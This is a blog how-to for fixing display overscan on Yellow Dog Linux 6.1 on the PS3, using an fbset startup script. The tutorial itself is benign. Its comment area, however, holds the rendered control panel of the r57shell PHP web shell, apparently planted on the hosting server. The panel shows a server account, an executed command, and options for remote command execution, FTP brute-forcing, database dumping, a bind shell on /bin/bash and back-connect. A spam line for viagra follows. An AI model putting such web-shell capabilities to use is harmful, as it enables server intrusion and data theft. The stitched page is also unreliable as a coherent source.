Kernel Bench

Kernel News and How To

This guide is for YDL 6.1 if your running YDL 6.0 or previous, This guide will not work for you, Unless you update your kernel to atleast kernel-2.6.24 or later. Which in that case you might as well just upgrade to YDL 6.1!

You need to be running fullscreen mode in order to use this fix, Fbset is only able to down-scale the resolution it cannot up-scale the resolution. So if you are not already running fullscreen because of the overscan issue, go ahead and switch to fullscreen mode now.

To switch to fullscreen mode open up the terminal and run the command below.

su –
enter your root password
gedit /etc/yaboot.conf

This will open up the yaboot.conf file with the text editor.

To enable fullscreen mode just add 128 to your current mode number under the (default=linux) heading . In the example below you can see the previous mode:# was 3 (3+128=131) So I needed to switch the

append=”video=ps3fb:mode:3 rhgb quiet root=LABEL=/1″

line to

append=”video=ps3fb:mode:131 rhgb quiet root=LABEL=/1″

Before

default=linux
image=/vmlinux-2.6.25.5
label=2.6.25.5
read-only
initrd=/Initrd-2.6.25.5.img
append=”video=ps3fb:mode:3 rhgb quiet root=LABEL=/1″

After

default=linux
image=/vmlinux-2.6.25.5
label=2.6.25.5
read-only
initrd=/initrd-2.6.25.5.img
append=”video=ps3fb:mode:131 rhgb quiet root=LABEL=/1″

Now reboot the system.Once you’ve rebooted into fullscreen mode open up the terminal and run the commands below.

su -
enter your root password
fbset

This will display your current mode settings. Should look like this but your mode/geometry lines will vary.

mode “1280×720-60″
# D: 74.178 MHz, H: 44.957 kHz, V: 59.942 Hz
geometry 1280 720 1280 720 32
timings 13481 260 110 39 26 80 5
bcast true
rgba 8/16,8/8,8/0,8/24
endmode

Take a look at the geometry line. Your going to be copying them to use for a startup script.

geometry 1280 720 1280 720 32

The first line is your xres, in the example above the xres is 1280.

The second line is your yres, in the example above the yres is 720.

The third line is your -vxres, in the example above the -vxres is 1280.

The fourth line is your -vyres, in the example above the -vyres is 720.

xres and vxres = horizontal screen size

yres and vyres = vertical screen size

Copy these numbers your going to need them. Now you need to create a startup script. Open up the terminal and run the commands below to create fbset and open it in the text editor!

su -
enter root password
gedit /etc/init.d/fbset

Replace the -xres -vxres and -yres -vyres with your xres and yres numbers from the fbset test above.

#!/bin/sh
/usr/sbin/fbset -a -xres 1280 -yres 720 -vxres 1280 -vyres 720
exit 0

Now once you’ve created the startup script in /etc/init.d open up the terminal and run the commands below. This will create a symbolic link to your startup script in your rc5.d or rc3.d directory.

If you done a text based install of YDL 6.1 use this command to create youyr symbolic link.

su -
enter root password
ln -s /etc/init.d/fbset /etc/rc3.d/S99fbset

If you done a graphical install of YDL 6.1 then use this command below to create your symbolic link.

su -
enter root password
ln -s /etc/init.d/fbset /etc/rc5.d/S99fbset

Once you’ve created the startup script and the symbolic link, You need to make it executable using chmod. Open up the terminal and run the commands below.

su –
enter root password
chmod 775 /etc/init.d/fbset

Now to fix your overscan issue open up the terminal and run the command below.

su -
enter root password
gedit /etc/init.d/fbset

To get rid of the overscan just modify the -xres -yres -vxres -vyres lines by deducting 10 from each one and save the changes and reboot. It will take multiple reboots to get the correct settings but you will get it. Note your yres and vyres res will more then likely be correct long before the -xres -vxres. So once your yres and vyres are correct just stop reducing it and just recude the xres and vxres number save the changes and reboot you will evntually find the correct settings.

In the example above the correct settings ended up being.

#!/bin/sh
/usr/sbin/fbset -a -xres 1200 -yres 680 -vxres 1200 -vyres 680
exit 0

So I ended up having to reduce the -xres -vxres by 80 and the -yres and -vyres by 40. To get the correct display settings. Once you’ve found the correct settings your all finished. Sav the changes to set script and reboot from now on it will use the settings in your fbset.

Duration : 0:10:0


Technorati Tags: , , , ,

One Comment

r57shell 404 Not Found

404 Not Found

The server can not find the requested page:

127.0.0.1/r57shell/version.php?version=124 (port 80)

Please forward this error screen to 127.0.0.1's WebMaster.


   !  r57shell 1.24   07-02-2012 23:41:14  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ tmp ]  [ delete ]
  safe_mode: OFF  PHP version: 5.2.17  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: ON  Oracle: OFF
  Disable functions : NONE
  HDD Free : 340.93 GB HDD Total : 802.94 GB
uname -a : 
sysctl : 
$OSTYPE : 
Server : 
id : 
pwd : 

   Linux useast6.myserverhosts.com 2.6.18-338.5.1.el5.lve0.8.29 #1 SMP Sat Apr 23 01:52:48 EEST 2011 x86_64 x86_64 x86_64 G
   -
   linux-gnu
   Apache
   uid=1610(kernelx7) gid=1598(kernelx7) groups=1598(kernelx7)
   /home/kernelx7/public_html   ( drwxr-x--- )
Executed command: ls -lia
:: Execute command on server  ::
Run command ?
Work directory ?    
:: Edit files  ::
File for edit ?    
:: Aliases  ::
         Select alias ?        
:: Find text in files  ::
Find text ?    
In dirs ? * ( /root;/home;/tmp )
Only in files ?* ( .txt;.php;.htm )
:: Search text in files via find  ::
Text for find ?    
Find in folder ? * ( /root;/home;/tmp )
Find in files ? * you can use regexp
:: Eval PHP code  ::

 
:: Upload files on server  ::
Local file ?
 New name ?    
:: Upload files from remote server  ::
With ?  Remote file ?
Local file ?    
:: Download files from server  ::
file ?    
Archivation ? without archivation zip gzip bzip
:: FTP  ::
Download files from remote ftp-server
FTP-server:port ?
Login ?
Password ?
File on ftp ?
Local file ?
Transfer mode ?
Send file to remote ftp server
FTP-server:port ?
Login ?
Password ?
Local file ?
File on ftp ?
Transfer mode ?
:: FTP-bruteforce  ::
FTP-server:port ?    
* use username from /etc/passwd for ftp login and password ( Users list )
Use reverse (user -> resu) login for password
:: Mail  ::
Send email
To ?
From ?
Subj ?
Mail ?
Send file to email
To ?
From ?
Subj ?
Local file ?
Archivation ? without archivation zip gzip bzip
:: Databases  ::
Show database structure
Type ?
Port ?
Login ?
Password ?
show tables ?
show columns ?
Dump database table
Type ?
Port ?
Login ?
Password ?
Database ?
Table ?
Save dump in file ?
file ?
Run SQL query
Type ?
Port ?
Login ?
Password ?
Database ?
SQL query ?

:: Net  ::
Bind port to /bin/bash
Port ?
Password for access ?
Use ?
back-connect
IP ?
Port ?
Use ?
datapipe
Local port ?
Remote host ?
Remote port ?
Use ?
o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version 1.24 ]---o


192.168.1.1
100 mg viagra